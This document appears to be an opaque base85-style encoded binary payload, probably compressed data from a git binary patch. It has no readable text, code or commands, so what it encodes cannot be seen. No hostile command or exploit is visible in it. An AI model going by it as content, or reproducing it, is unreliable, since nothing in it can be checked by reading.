zfv`|mBrFz|2up=!!g67Suu@nhtQOV?YlU^fdSQdGQP?DG7Pbgmg>AxiVTZ6&*d^>1 z_6U20eZqd>fN)SaBpeow2uFou!g1k*a8fuWoEFXqXN7aZdEtU^QMe>r7On_ag=@lf z;f8QixFy^c?g)2<d%}I;f$&gxBs><L2v3D)!gJw;@KSgsycXUFZ-sZld*OrdQTQZ$ z7QP5yg>S-l;fL^3_$B-n{s@1Ce_|3bshCVmE~XGuimAlZVj3~6m`+SDW)L%qnZ(Ru z7BQ=sP0TLl5Oa#T#N1*YF|U|U%r6!Y3yOur!eSAzs2C>}6N`%_#FAnuv9wr5EGw21 z%ZnAniee?PvRFl|DpnJ#i#5cWVl6QyVj?aQA}LZLEixi2aw0DZq9{tDECNvxRZ$al z5sHRrik65(TXaNM^h93_#88aH+F~8Cu2@g3FE$VxijBm^ViU2c*i39Lwh&v2t;E)1 z8?mj}PHZoB5Ic&U#Li+Dv8&ik>@M~Ydy2ip-eMoIuh>uQFAfj~ii5<#;t+ADI7}Qa zju1zRqr}nT7;&sPP8=`BiwR<)I6<5!P7)`JQ^cv_G;z8(L!2qj5@(BZ#JS=;alW`f zTqrIQ7mG{8rQ$Mixwt}HDXtP%i)+NS;yQ7?xIx?~ZW1?(Tg0v6HgUVSL)<Cu5_gMx z#J%D^ald##JSZL#4~s{{qvA2~xOhT5DV`Efi)X~M;yLlWctN}<UJ@^hSH!F0HSxN5 zL%b>85^sxl#Jl1>@xJ&#d?-E=AB#`Kr{Xj5x%fhSDZUb4i*LlY;ydxZ_(A+AeiA>6 zU&OECH}SjpL;NZJ5`T+-#J}P{DT$O+N+u<jQb;MKR8ndwjg(eOC#9D%NExL}Qf4WO zlvT<mWtVbDIi*}uZYhtHSIQ^lmkLM)r9x6+sfbimij#^-#ibHbNvV`nS}G%zmC8xw zr3z9-sghJ#sv=dDs!7$Q8d6QEmK2jP36}_olqiXo7>SiQiI)UPlq5-(fTT#Oq)EC2 zB||bLOG1(@Ig%@Rk}m~PC`D3jsg6`vswdT#8b}SLMp9#`iPThTCN-B@NG+vSQfsM= z)K+RIwU;_b9i>iEXQ_+SRq7^nmwHG&rCw5RsgKlG>L>M=21o;?LDFDph%{6hCJmQH zNF$|D(r9UnG*%iXjhEu31SwIPAWf7eNt2~1(o|`hG+mk@&6H+Iv!yxGTxp&(Us@n7 zlom;gr6tl*X_>TKS|P2JR!OU+HPTvXowQ!sAZ?U3Nt>lD(pG7kv|ZXE?UZ&&yQMwS zUTL4SUpgQilnzOUr6bZ&>6mm}Iw75uPD!VwGtyb<oOE8gAYGI$NtdN7(pBl2bX~e3 z-IQ)gx1~GMUFn{5UwR-tlpaZsr6<x;>6!FgdLg}(UP-T|H_}__o%CM%AbpfRNuQ-J z(pTx5^j-QP{gi%5zokFYU+JHmL{2IvlatFS<dkwMIklWdPAjLA)5{s;jB+M9vz$fF zDrb|k%Q@tnaxOWyoJY<p=acix1>}NqA-S+zL@p}F$;IU2atXPlTuLr2myyfL<>c~m z1-YVJNv<qck*mtp<mz$_xu#r8j>(ve%Y;nIluXNv%*ve1%YrP*k}S(WR%BJyWL<`` zA)B%#BiWW6*_A!nmjgMJBe}L*N3JW^lk3Y3<c4x1xv|_tZYnpEo69ZamU1h(wcJK- zE4P!|%N^v7awoa7+(qsxcayuzJ>;HpFS)neNA4^4ll#j9<bm=ad9XZ09x4x$hsz`6 zk@6^cv^+*0E02@M%kgr8oG4F_C(4uL$?_C=syt1eF3*r>%CqFz@*H`tJWrl4FOV0? zi{!=f5_ze-OkOUpkXOp9<kj*Td9A!oUN3KuH_Dsj&GHs`tGrF#F7J?c%Dd#<@*a7w zyieXQACM2qhvdWZ5&5WmOg=83kWb2|<kRvQ`K)|SJ}+O8FUptX%kmZZs(ekpF5i%E z%D3d(@*VlEd{4eFKad~FkL1Vl6Zxt9OnxrEkYCEL<k#{W`K|m;elLHJKgyrv&+-@f ztNcy=F8`2!%D?2_@*nxH{0}4nNkKA@9Ham#K`M|MqycF`I*=Y@02x6hkQrnFSwS|C z9pnHxK`xLR<N<j>K9C<200luIP#6>eML`@W28x3cpd=^-N`o?>EGP%cg9@M`s01p5 zDxfN;2C9P^peCpVVgLg;AOHy{Km!J_fCD@bfCwZY0{|4D0uAT@0t1-90tnc^0WR=> z4+0Q^2-F63KwVG|)CUbfL(m8`22DUy&<r#OEkH}q3bY1oKwHobv<DqPN6-m$23<f` z&<%74JwQ*;3-ktkKwr=g^algLKrjdl21CG5FboU_Bfv;73XBG0z*sO2j0f=`0VIM6 zU?P|VCW9$pDwqbQgBf5Zm<48oIbbfB2j+tXU?Erp7K0^VDOd)UgB4&USOr#tHDE1R z2iAiPU?bQBHiIo-E7%6MgB@Te*adcjJzy``2lj&l;2<~z4ud1$C^!a=gA?E+I0a6F zGvF*Z2hM{F;3BvLE`uxJD!2x&gB#!`xCL&5JK!$32kwIh;30Sf9)l;~DR>5+gBRc> zcm-aAH{dOJ2i}7Z;3N11K7%jdEBFS!gCF20_yvB0Kj1I;rzBC5D#?`ON(v>Vl1fRf zq*2l;>6G+J1|_4CNy)5aQL-x8l<Z0lC8v^0$*ts3@+$e1{7M0(pi)RFtQ1j-Dsf6N zrMOZ;DXElFN-JfQvPwCnyi!4_s8muaD^--LN;RdrQbVb!)KX#!rr-*pkP4;H3Zt+J zr|^oPh>E1h3Q!b9RWwCcpkgSdVkt<m6-RLuPw|yN36)5xt<+KKD)p55N&}^#(nx8n zG*Ox=&6MU!3#FyfN@=aMQQ9i)l=eyorK8eG>8x~7x+>k2?n)1(r_xL5t@Kg)D*crH z$^d1cGDsP$3{i$E!<6C52xX))N*S$;QN}9cl<`WulAt6i6O@U{BxSNPMVYEhQ>H63 zl$pvbWwtU$nXAlG<|_-7g~}pjv9d&2sw`8MD=U<h$|_~GvPM~}tW(x28<dU8CS|j- zMcJxsQ?@HRl%2{hWw)|N*{keR_A3XJgUTW0uyRB>svJ{}D<_nb$|>cvaz;6;oKwy# z7nF<2CFQbmMY*b6Q?4sFl$**e<+gH1xvSh$?kf+Jhsq=6vGPQDsytJkD=(Cn$}8oy z@<w^9yi?vQAC!;EC*`y9Mfs|HQ@$%dl%L8k<+t)j`K$a>lc-76WNLCXg_=@LrKVQX zsA<)7YI-$;no-T9W>&MPS=DT6b~T5ZQ_ZF3R`aNN)qHAxwSZbsEu<D!i>O7_IJKBs zTrHuNR7<I))iP>XwVYaBt)Ny^E2)*$Dr!}=np$10q1IGusWBB(ag|U>l~QSyQCXE! zc~wwFRZ?XYsEVqpnyRZ%HB?izRHWLfqq?f6`f8wtYNXay>!@|rdTM>Of!a`Qq&8NY zs7=*oYIC)P+EQ($wpQDyZPj*ad$ohwQSGF5R=cQO)oyBcwTIeM?WOis`>1`@erkVp zfI3heqz+bxs6*9Z>Tq?0I#L~_j#kI0W7To$cr{*4P!rV&>O^&tI$52fPF1I=)72U3 zOm&tzTb-lMRp+Vm)dlK8b&<MQU7{{km#NFu73xZLmAYD8qpnrgsq57Z>PB^wx>?<# zZdJFb+tnTFPIZ^MTiv7XRrjg;)dT85^^kg4J)#~}kEzGi6Y5FzlzLh{qn=gIspr)T z>P7XEdRe`qURAHD*VP;9P4$*~TfL*+Rqv_y)d%WB^^y8meWE^9pQ+E)7wSv(mHJwJ zqrO$&sqfVf>PPjH`dR&=epSDz-_;-LPxY7jTm7T{RsU&8w4_=xExDFLOR1&OQfq0n zv|2hXy_P}CsAbYJYgx3cS~e}amP5;_<<fF%d9=J*J}tjiKr5&f(h6%uw4z#^R!l3d zmC#CRrL@vo8Lg~VPAjif&?;(`w8~l)t*TZ{tFG11YHGE#n1*S%Mrfo)X|%>@tj1}) zCTOB2X|e`1MN>6R(>16WnyFbD(rnGqT+P#bEzm+O(rRmUw7Ob7t-jVkYp6BS8f#6o zrdl(txz<8!skPEtYi+c)T05=1)<Ns2b<#R(U9_%RH?6zYL+h#a(t2xsw7yzDt-m%v z8>kJ^25UpKq1rHQxHdu?sg2S`Yh$#r+Bj{z7Oy2}iP{8hqBcpJtWD9TYSXmo+6--` zHcOkW&C%v+^R)Te0&StTNL#Ee(Uxk<wB_0gZKbwKTdl3p)@tjt_1Xq)qqa%gtZmV@ zYTLB!+74}}woBWs?a}sX`?USq0qvl6NIR?@(T-}zwBy<d?WA@}JFT73&T8kh^V$XN zqIOBUtX<KrYS*;u+70cdc1ydh-O=u9_q6-k1MQ*qNPDb3(VlA0wCCCj?WOigd#%0E z-fHi(_u2>TqxMPrtbNhGYTvZ)+7Iog_DlP%{n7qv|MVn!QazcTTu-5=)KlrH^)z}~ zJ)NFj&!A`2GwGT2EP7Two1R_Iq36_d>ACehdR{%Bo?kDZ7t{;sh4mtOQ9VvCrWe;s z=q2@1dTG6kURE!sm)9%k74=GbWxa}CRj;O3*K6oC^;&vN$8=mLbW*2uT4!`t=X72d zbWxXdSqHkJtGcG^I@Ar_)GZz9w(jVz?&-cB=%F6zwe>oBUA>-OUvHo{)EnuI^(J~# zy_w!zZ=tu;Tj{O!HhNpVo!(yWpm)?e>7Dg1dRM)h-d*pZ_tbmoz4bnNU%j8+Umu_k z)CcK<^&$FDeV9I6AEA%bN9m*WG5T12oIYNU*Aw(aeS$twpQKOLr|47lY5H`1hCWlD zrO(#q=yUaX`h0zXzEEGJFV>gnOZ8>?a(#uqQeUO7*4OB3^>zAseS^MH-=uHWx9D5- zZTfb7hrUzarSI1F=zH~j`hNX@eo#N8AJ&iPNA+X+as7mTQa`1i*3al?^>g}p{epf` zzocK*ujp6xYx;HlhJI7OrQg=?=y&yd`hER@{!o9UKh~e<PxWW|bNz+>Qh%kt*5BxF z^>_Mv{e%8d|D=D`zvy4}Z~AxrhyGLlrT^Cd=zsNpFbPZwlfmRL1xyK3!PGDfObgS& z^e_X=2s6RVFbm8Iv%%~z2h0g`!Q3zp%nS3u{ICEl2n)f&um~&)<6tpZ9F~A3VJTP| zmVsqqIanT6fE8gSSQ%D<Rbe$)9oB#~VJ#Sg7{nm~Nk~B&GLVHF<e>mXC_xzls6Z8J zP=^p2(1aF5(1s3lp$B~!zz{~THmn2d!g{biYyca=MzAq#0-M5SusLi2Tf$bbHEaXh z!gjDd>;OB$POvlV0=vR)usiGld%|9@H|zuZ!hWzn8~_KxL2xh}0*At3a5x+RN5WBX zG#mrR!f|jsjE4y@5l(;;;UqX2PJvV5G&mj3fHUDNI2+D^bKyKVA1;6k;Uc&gE`dwo zGPoSBfGgoDxEij3YvDS$9&Uge;U>5lZh>3jHn<(`fIHzXxEt<)d*ME~A0B`Q;URb! z9)U;UF?bxFfG6Q8cp9F8XW=<`9$tVK;U#z(UV&HPHFzD~fH&bScpKh<ci}yFA3lH& z;UoAMK7mi+Gx!|7fG^=I_!_=}Z{a)m9)5ry;V1YRet}=%H~1a?fIs0c_#6I#f8jqP ziILPuW+XRK7%7cZMrtFCk=96Oq&G4c8I4RvW+RJ{)yQUKH*y#`ja)`<Bae~S$Y<m? z3K#{ALPlYuh*8vtGm06-jS@ylqm)tFC}Wg0${FR23Pwevl2O^HVpKJ%8P$y%MopuZ z5i>9YHwc3?D1$Z_gEcsVHv~g8BttfUp%|*68M*-t!!QlYK!$BNhHH3+Zv;kYL`H3+ zj#1aBXVf<u7!8d^Mq{Ii(bQ;WG&fopEsa)2Yom?P)@Wz6H#!&{jZQ{qql?ki=w@^` zdKf*8UPf=DkI~oYXY@A)7z2$##$aQJG1M4l3^zs?BaKnUXk&~q));4uH{y*1Bhi>( zOf)7LlZ`3HRAZVk-I!s_G-esIjXB0#W1cbJSYRwP78#3;CB{-?nX%khVXQP(8LN#o z##&>YvEJBVY&13*n~g2TR%4s7-PmF5G<F%gjXlO*W1q3#IA9z!4jG4yBgRqVm~q@V zVVpEh8K;di##!T>ao)IKTr@5jmyIjNRpXj*-MC@gG;SHUjXTC&<DPNfcwjs<9vP2~ zC&p9bnep6sVZ1b68Ly2u##`f^@!t4gd^A28pN%iZSL2)U-S}brG=3SsjX%a;<DZ$t zOll@Glbb2blx8Y3wVB3DYo;^Pn;FcEW+pSUnZ?X%W;3&!In119E;F~8$INTyGxM7T z%z|biv#?pjENaG?#mwSn3A3bG$}DY`G0U3e%<^Uhv!YqatZY^>tD4o!>ShhIrdi93 znV5;2gh`r|Nt=wxnw-g-f+?DkDVxAlOx4s(-GruLnx<tU(>5K`H9gZe12Z%uv$k2s ztZUXY>zfVChGrwPvDw6IYBn>Qn=Q<iW-GI`*~V;ZwlmwC9n6kqC$qEJ#q4T!GrOBT z%${a1v$xsD>}&Qj`<nyIf#x7{usOsWY7R4pn<LDT<|uQtImR4ojx)!b@n(XVXihLE znv=}Q<`i?PInA7I&M;@1v&`A%9CNNY&zx^AFc+GO%*EysbE&z^TyCx~SDLHL)#e&= zt+~!zZ*DL*nw!kc<`#3Sxy{^e?l5<nyUg9@9&@j`&)jbwFb|rC%){mp^Qd{uJZ_#a zPnxI9)8-lTta;8nZ(cAjnwQMW<`wg*dCk0T-Y{>Px6Iq-9rLbv&%AFwFdv$a%*W;v z^QrmFd~UulUz)GX*XA4Zt@+M;Z+<X8nxD+i<`?s;`OW-p{xE-<zs%p}AM>yI&q`t? zwUSxMtrS*DE0vYnN@Jz9(pl-P3|2-fla<-ZVr8|mS=p@|R!%FImD|c=<+buz`K<z0 zL938e*eYTbwc@N|R&lF@RnjVDmA1-QWvy~nd8>j|(W+!swyIcFt!h?vtA<t6s%6D2 z%)%|gA}z|IEyiLk&f+b>5-rJ+Enq2@YH5~kLCdgA%d(JVTaM*gp5<GC6<U#1+p1&L zwdz^*tp-*@tC7{%YGO6Dnpw@Q7FJ8EmDSp6W3{!~S?#S3R!6Io)!FJ|b+x)#-K`#0 zPpg;J+v;QWwfb58tpV0RYmhbA8e$E#hFQa{5!Og+lr`EKV~w@OS>vsEE5S;%CRh`# zN!Da*iZ#`mW=*$dSTn6z)@*BzHP@PF&9@d<3#~=gVrz-D)LLdOw^mpytyR`)YmK$m zT4$}dHdq_2P1a^>i?!9-W^K22SUas<)^2N$wb$Bb?Y9nC2dzWaVe5!>)H-Gzw@z3m zty9)%>x^~QI%l1?E?5_>OV(xUignexW?i>#SU0U()@|#Kb=SIQ-M1cC53NVmW9y0a z)Ouz;w_aE;tyk7->y7o+dS|`2K3E^EPu6Gai}ls|W_`DQSU;^_)^F>N_1F4`lAxq0 z8A^^)pp+;TN{!N>v?v`)k20W)C=<$zvY@Oe8_JGypqwZd%8l}%yeJ>aj|!lIs1PcQ zilCw>4i!ViQ3+HMl|rRa8B`XPL*-EgR1sA|l~EN`6;(skQ4LfR)j~0ZAsi8iL=>VC zgIL5N9tlW95|R->3R01VbOe!sOk^R1Y~&ypdB{fr3Q>e=qdKTAs)y>M2B;xwgc_qJ zs3~fOnxht|C2ECQqc*55YKPjR4yYsQggT=xs4MD*x}zSbC+dZIqdurF>WBKH0cao^ zga)G_Xeb(nhNBT^BpQWAqcLbK8i&TCc$9z=(F8ORO+u5=6f_l0L(|a=G!xB2v(X$h z7tKTS(E_v(EkcXY60{U8L(9<$v=XgCtI-;?7Og|;(FU{;Z9<#T7PJ*@L)*~~v=i+@ zyU`xB7wtp)(E)T29YTlE5p)zCL&wnxbP}CHr_mX77M(-q(FJr7T|$@96?7F{L)Xy_ zbQ9e|x6vJR7u`em(F61lJwlJs6Z8~4L(kC*^b);7uhARy7QI97(FgPqeL|nn7xWc< zL*LO4^b`F;ztJD`7yYx7*h%eVc5*v~ozhNar?%7BY3+1&dOL%i(avONwzJq-?QC{- zJBOXq&SmGe^VoUqe0F}jfL+ioWEZxJ*hTF)yO>?vE@79nOWCFEGIm+JoL%0oU{|y& z*_G`oc2&EYUEQu>*R*TdF&ndSo3KfnvT2*KS(~$YTd+l2vSl0Cimlq3t=rHxY}2-E zWZSl5yS8Whc3_8gWY@Oq*mdoCc73~n-Oz4iH@2JDP3>lObGwDz(r#t9w%gck?RIv1 zyMx`)?qqkiyVzarZgzLOhuzceW%suG*nRDOc7J<-J<uLx54MNcL+xSqaC?M3(jH}x zw#V3G?Q!;aJKj#P6YUB1M0=7w*`8ugwWrzB?HTq=dzL-ho@39o=h^e^1@=OFk-gYn zVlTCq*~{$}_DXw|z1m)5ueI0N>+KEpMthUJ+1_GrwYS;Z?H%?`dzZc2-ed2z_u2dH z1NK4tkbT%bVjs1S*~je@_DTDcecC=_pS91~=j{vjMf;L{*}h_5wXfON?Hl$@`<8v% zzGL6D@7ee52lhkzk^R_yVn4N?+0X44_DlPf{n~zGzqQ}l@9huvNBfig+5TdGwZGZl z?H~3}`<MOO{$u~O|2avVq)sv?xs$?4>7;T}J87J>PC6&OlflX8WO6b)S)8m+HYdB2 z!^!F7a&kL)oV-pxC%;p`Dd-e(3OhxdqE4Js%qi}aa7sF*oYGDir>s-XDeqKpDms;% z%1#xhs#DFW?$mH<I<=gbgE_cEIHW^4w8J>8!#TVoIHDstvI88&Q60_E9q1U2=~xbO zY{zk2$8&rqa6%_?YCCnDx=uZ(zSF>I=rnQ~J58LXPBW*u)52-#v~pTIZJf4FJEy(V z!RhF9aymO*oUTqcr@Pa`>FM-xdOLlbzD_@<zcauY=nQfOJ42kI&M;@VGr}3^jB-Xh zW1O+hIA^>Q?<6>h&ID(oGs&6kOmU_<)12wf3}>b@%bD%WappSnocYcIXQ8vmS?nxv zmO9Iv<<1IcrL)Re?W}RuI_sSE&IV_rv&q@)Y;m?a+nnvr4riyc%h~PharQd<oc+!L z=b&@QIqV#9jylJj<IV}^q;twS?VNGWI_I48&IRY9bIG~vTyd^C*PQFl4d<qF%en2` zaqc?zocqoL=b`h+dF(uKo;uH*=gte~rSr;p?Ywc`I`5qK&IjkC^U3+_d~v=y-<<Ex z59g=z%lYm6asE30+$3&NH<_E<P2r|=Q@N?#G;Ufqotxgx;AV6)xtZN8ZdNy&o88Uf z=5%wpx!pW&UN@hc-!0%4bPKtK-6C#LH_k2Q7I#ayCEZePX}649)-C6jcPqFR-AZm{ zw~AZUt>#vDYq&MtT5in6T-+sG(xqJ5Wn9+fT;3I2(Un};1+L<%uIB14bPd;ZEf=}A z>$tA#xxO2?p&Pli-8ybvx1L+yZQwR^8@Y|$CT>%=ncLiL;kI;JxvkwcZd<pV+urTq zc62+ro!u^OSGSwn-R<G_bbGnI-9Bz#x1ZbJ9pDah2f2gYA?{Fjm^<7Z;f{1ixue}N z?pSx6JKl|V6Wm01f;-Wj<W6>{xKrI}?sRvCJJX%z&UWXxbKQCFe0PDn&|Ty%c9*zI z-DU1_cZIvsUFEKJ*SKrlb?$n1gS*k)<ZgDixLe(A?sj*FyVKp}?soUMd)<BRe)oWT z&^_cHc8|D6-DB=?_k?@WJ>{Nu&$wsZbMATff_u@u<X(2KxL4h4?sfNud(*w;-gfV} zcinsLefNR;(0$}ScAvOU-DmD|_l5h?edWG(-?(qxckX-lgZt6_<bHO)xL@6G?sxZx z`_uj9{&xSkf8Bpx5-+Kj%uDX2@KSoIywqMAFRho(OYddyGJ2W3%w85RtC!8o?&a`u zdbzyZULG&6m(R=Z74Qmrg}lOE5wEBh=N0pcdnLS*UMa7%SH>&rmGjDb6}*aGC9kqq z#jEO7^QwC_yqaDuFXmw$?hzj8Q6B9v9_w))?+KphNuKNhPw`Yw^K=h-hG%+~hdkSJ zJlFF)-wV9Zi@e%i9j~re&#Uh>@EUrJyvAM=uc_C}Ywor1T6(R#)?OR0t=G<L?{)Ax zdY!z^UKg*c*Ujth_3(Ony}aIDAFr?1&+G3E@CJH=yuscOZ>TrS8}5zpMtY;X(cTzu ztT)aZ@5OrwUZOX_o9IpQCVNx7sopeix;Mj{>CN(Hdvm<G-aK!<x4>KIE%Fw7OT4At zGH<!J!dvOB@>Y9mytUpsZ@ss{+vsibHhWvVt==|oySKyJ>Fx4%dwaaS-ac=?cfdR7 z9r6x)N4%rnG4Hr{!aM1m@=kkaytCdp@4R=xyXal=E_+wJtKK#5x_867>D}^fdw0CM z-aYTW_rQDTJ@OuVPrRqzGw-?g!h7kx@?Lvyytm#v@4ffI`{;f0K6_uhuiiKByZ6KU z>HYG4dw;yY-akKypVUw0C-+nMDg9J_YCnyi)=%fB_cQnz{Y-vlKZ~E$&*o?MbND&^ zTz+mpkDu4i=jZne_yzq!eqq0eU(}EDi}}U<5`Ia)lwaB}<Cpcz`Q`lzenr2MU)itX zSM{s;)%_ZNO}~~O^D!Uy37_;SpY|D_^*NvS1z+?fU-p5o_^Pk@x(|KBH+{=TzU@1{ z>wCWM2Y%>Ber>;wU)Qha*Y_Lv4gE%bW50>t)NkfD_gnZa{Z@W!zm4D4Z|Ar7JNO;_ zPJU;<i{I7n=6Cmd_&xnzes8~z-`DTw_xA_*1N}k%V1I}|)F0*#_ec06{ZamCe~drY zALozv<NX9b(VyT?^e6d~{VD!bf0{qtpW)B+XZf@JIsROKo<HAT;4kzS`HTG}{!)LL zzuaHpuk=^>tNk_pT7R9t-rwMF^f&pN{Vo1hf1AJE-{J4{clo>hJ^o&QpTFNf;2-o4 z`G@@@{!#y!f80OepY%`pr~NbjS^u1W-oM~q^e_3B{VV=e|C)c@zv18XZ~3?VJN{k& zo`2te;6L;q`H%f4{!{;%|J;A!zw}@Eul+avTmPN^-v8i#^gsEZ{V)Dk|C|5a|Kb1i zfBC=tKmK3;Uyvk78YByn2PuM-L8>5ikS0hQqzlpq8G?*KrXX{WCCD0N3$h0}f}BCF zAa{@_$Q$Gf@&^Tif<d96a8M*D8pH*~g5p7mpkz=gC>@ju$_C|v@<D~5Vo)il98?La z2GxS<L5-khP%DT9SbzsaKn7Gm2TZ^QT)+oHAO=z(2Ov-aHP8Y*fPoR1ffb;@4xGRZ zyuc5FAPl0Qc2Fm%8`KNx2MvOTL8G8?&?IOYGz*#sErOOotDtqzCTJV93)%-Af{sC_ zpmWeA=o)kjx(7Xio<XmmchD#38}tkM2LpnE!JuGpFeDfn3=4(_BZ85^s9<z3CKwxx z3&scWK|+uiOb8|hlY+^?lwfKwEtnq62xbPeg4w~GU~Vukm>(<%76yxg#lezbX|OC< z9;^sf2CIVA!J1%gur631YzQ_6n}W^3mSAhJE!ZCH2zCa$g5ANMU~jN5*dH7S4hDyU z!@-f@XmBhz9-IhH2B(74!I|J}a4t9>TnH`(mx9Z|mEdY{Ew~=s2yO<qg4@BJ;BIg) zxF0+S9tMws$H9}}Y49v~9=r%%2CstG!JFW1@Gf{Cd<Z@UpMuZ9m*8vgE%+Y%2z~~? zg5SZP;BW9ROcEvylZDB{6k*CRRhT+V6Q&K*h3Uf#Va701m^sW6W(~82*~1)R&M;S) zJIoX24fBQh!vbN!uuxbyED{zC<HBNL@vuZ#GAtFA4$FjP!*XHyutHcdtQ1xbtAtg< zYGL)TMp!ef6~;m=#6uz^Ln@?0CS*e{<U=78Ln)L)5GtV>YM~y&&<M@Y3Q=f>PUwbS z=!ZcVhEZ5MtP|D^>xK2h24TanQP?<a5;hH+h0VhjVau>p*g9+zwhh~b?ZXaX$FNh_ zIqVX44ZDTi!yaMJuvgeS>=X74`-T0(0pY-KP&hao5)KWAg~P)U;mB}QI652?jt$3! z<HPtcAxsP>gcHL_;pA{iI5nIWP7h~<Gs9Wo>~KyvH=GyF4;O?B!$slZa7nl{Tox`5 zSA;9WRpIJzO}I8(7p@OCgd4+6;pT8lxHa4sZVz{aJHuV!?r=}IH{2KQ4-bR~!$aZW z@JM(xJQf}gPlPAKQ{n0GOn5dt7oHC<gcrk0;pOm3cs0BhUJq}CH^W=u?eI=`H@p|# z4<CdN!$;xc@JaYId=@?rUxY8iSK;gMP53r^7rqZagdf9C;pgy6_%-|%eh+_yKf_<) z@9<CfH~beRiIPUiqU2GEC}or?N*$$%(njf`^ihT=W0Wb%9A$~JM%kk5QI05Qlq<>| z<%#k}`J(($fv8|qC@LHkiHb&XQL(6aR3a)Fm5NG7WumfCxu|?pA*vWviYiA{qN-7~ zsCrZ*su|UaVi6YM5fPCQ710qBu@M*Xkr0WI6v+{Ylt_)VNRMD-L}p|~D6%6baw9MD zqaX^SD5@RRiRwo6qWV#TsA1G7Y8*9*nnul{=245NWz;Ha9kq$tM(v{ZQHQ8w)G6v5 zb&0x0-J<SMkEmzVE9xEfiTXzUqW;l<Xkaub8XOIYhDO7p;n9d_WHc%o9gT^`M&qLK zQGApTB}NmXiP5BJax^8H8cmC)M>C?C(X428G$)!H&5Pzo3!;V5qG)lnBw89Ri<U<# zqLtBq1i=G<6+r+1(A?#^Y}>ZGZ2rZpXYE;KyUVt1+qP}n_Is;ht7B_oYh&wT>th>Y z8)KVdn`2vITVvZ|+haRoJ7c?IyJLG|dt>`z`(p=U2V;j~hhs-#M`Oog$73gACu65# zr(<VgXJhAL=VKRQ7h{)Vmt$9AS7X;=*JC$gH)FSAw_|r=cVqWr_hS!Y4`YvFk7G|_ zPh-zw&torQFJrG_uVZgwZ)5Lb?_(cgA7h_lpJQKQUt`~5-(x>wKV!dQzhi%5e`Ei! zBv?``8I~MNfu+P!VX3h=EDe?xONXV$GGH08Oju?t3l@)M#j;`9u^d=VEEkp=%Y)^` z@?rV00$4$;5LOr~f)&MzVa2f$SV^oDRvIgVmBq?o<*^D_MXVB58LNU-#j0V|u^L!S ztQJ-qtAo|W>S6V<23SL^5!M)Mf;GjOVF_4stOeE*YlXGO+F)(5c369?1J)7igmuQc zU|q3pSa+-k7Q-+M#|VtX07hXn#$YVQVLT>a5EC&8lQ9KTF%8o(12ZuTvoQyAF@$-T zj|EtWMOaU)7uFl=gZ0JwVg0cI*g$L$HW(X%4aJ6G!?6+ANNf}~8XJQpVq>v!*m!IL zHW8bIO~$5RQ?Y5-bZiDT6Ptz2#^zviv3b~hYyq|qTZApfmS9V<W!Q3T1-24fg{{Wc zU~92;*m`UOwh`NeZN|1>Td{4}c5DZ>6WfLD#`a))v3=Nn>;QHUJA@s^j$lWzW7u)* z1a=ZTg`LLEU}v#&*m>*%b`iUTUB<3pSFvl@b?gRq6T5}o#_nKuv3uBk>;d)=dxSm4 zo?uV0XV`P>1@;nqg}uh!U~jQ^*n8{)_7VGpea60EU$Jl4ckBoD6Z?hz#{OV`v440H zJSm<GPmZU+Q{t)c)OZ}822YEp!_(s#@QipSJTsmJkH@p(+3@Um4m>BG3(t+`!Smwz z@ceiIydYi(FN_z#i{i!b;&=(XBwh+HjhDg8;^px2cm=#7UJ0*^SHY{|)$r<g4ZJ2^ z3$KmW!RzAn@cMWIydmBQZ;Us=o8ryz1iU%k0&j`8!dv5Q@V0n6ygl9l?}&H8JL6sO zu6Q@RJKh72;TVqN1Ww`rr*Il)a2Drq9v5(ki@1c#xPq&=hU>V2o4AGBxP!Ym!adx_ z13bhdyeHlZ?~V7t`{MoZ{`dfVAU+5mj1R$w;=}Oa_y~L?J_;X=kHHi1vG_QAJU#)R zh)=>N<5Tdd_%wVvJ_DbL&%$TpbMU$NJbXUB0AGkN!WZL9@TK@Nd^x@XUx}~6SL18& zwfH)GJ-z|oh;PC-<6H2p_%?hyz60Nh@4|QEd+@#ZK72oZ06&Ny!Vlv|@T2%K{5XCB zKZ&2hPvd9sv-mmuJbnSch+o1l<5%#j_%-}GegnUW-@<R>cksLTJ^ViY0Dp)-!XM*L z@Td4Q{5k#te~G`sU*m7^xA;5!J^lgzh=0OA<6rQv_&5AJ{saGs|H6OcfAGKfKOzZ{ zlt@M-CsGh8iBv>tB92Hyq$Sc3>4^+PMj{iDnaD!K6IqFDM0O$vk(0<p<R<bEd5L^P zexd+TkSIhHCW;V6iDE=?q6ATrC`FVe$`ECVazuHe0#T8uL{uiK5LJn4M0KJDQIn`e z)F$c>b%}aJeWC%;kZ43SCYlgUiDpCs(VS>Ov?N*)t%){7TcRD&p6EbyBsvkDi7rG} zq8rhj=t0B?jKB$kAPGQF1WhmmOK=2F2m~ZVLLy{BAyh&mbiyD^!Xj+KAzT6x9^n%K z5fTy6ljueCCi)P4iGD<XVgNCa7(@&vh7d!EVZ?A^1Tm5rMT{oK5Q)TCVjMA^m_SS< zCJ~c~Da2G_8Zn)iLChp(5wnRo#9U$?F`rmKEF=~Yi-{$~QeqjgoLE7uBvuiti8aJp zVjZ!b*g$L~HW8bNEyPx08?l|(LF^=U5xa>!#9m?_v7b0V93&1AhlwM^QQ{bJoH#+8 zBu){hi8I7m;v8|FxIkPaE)kcBE5ude8gZStLEI#65x0pu#9iVZai4fVJR}|wkBKM5 zQ{ox%oOnUJBwi7(i8sVs;vMmx_&|IlJ`taZFT_{k8}Xg^LHs0s5x<E)#9!hcnS@MA zCL@!RDae#$Dl#=0N2VdulIh6wWCk)LnTgCyW+CIrtYkJaJDG#bN#-JRlX=LzWIi%K zS%54^79tCiMaZILF|s&Wf-FgvB1@BH$g*TPvOHOVtVmWOE0a~os$?~?I$49PN!B83 zlXb|tWIeJz*???FHX<97O~|HXGcti}PPQOhlC8+rWE-+A*^X>ab|5>Foyg8)7qTna zjqFbLAY&v(;v_+mBp@l0CK-|?Ig%#@5|Sb*kus@}Dyfk=X^<vqkv8d&E{RBw^vQq> z$%yPp_9A<eeaOCKKe9hLfE-8;A_tR0$f4vgayU7H97&EMN0Vd7L~<-SjvP-;ASaTO z$jRgsaw<8EoKDUlXOgqX+2kB@E;)~!Pc9%Al8ea2<Pvfzxr|&+t{_*EtH{;l8gebU zj$BV}AUBem$j#&yax1xw+)nNwcapov-Q*r}FS(E0PaYr-l84B{<Pq{Hd5k<xo*++> zr^wUf8S*T7jyz9ZATN@a$jjsv@+x_ayiVRAZ<4pj+vFYcE_si<Pd*?Yl8?y8<P-8K z`HXx{z93(cugKTr8}cprj(kskAU~3y$j{^#@+<j`{7(KLf0Dn*-{c?iFZmB70ZBnJ 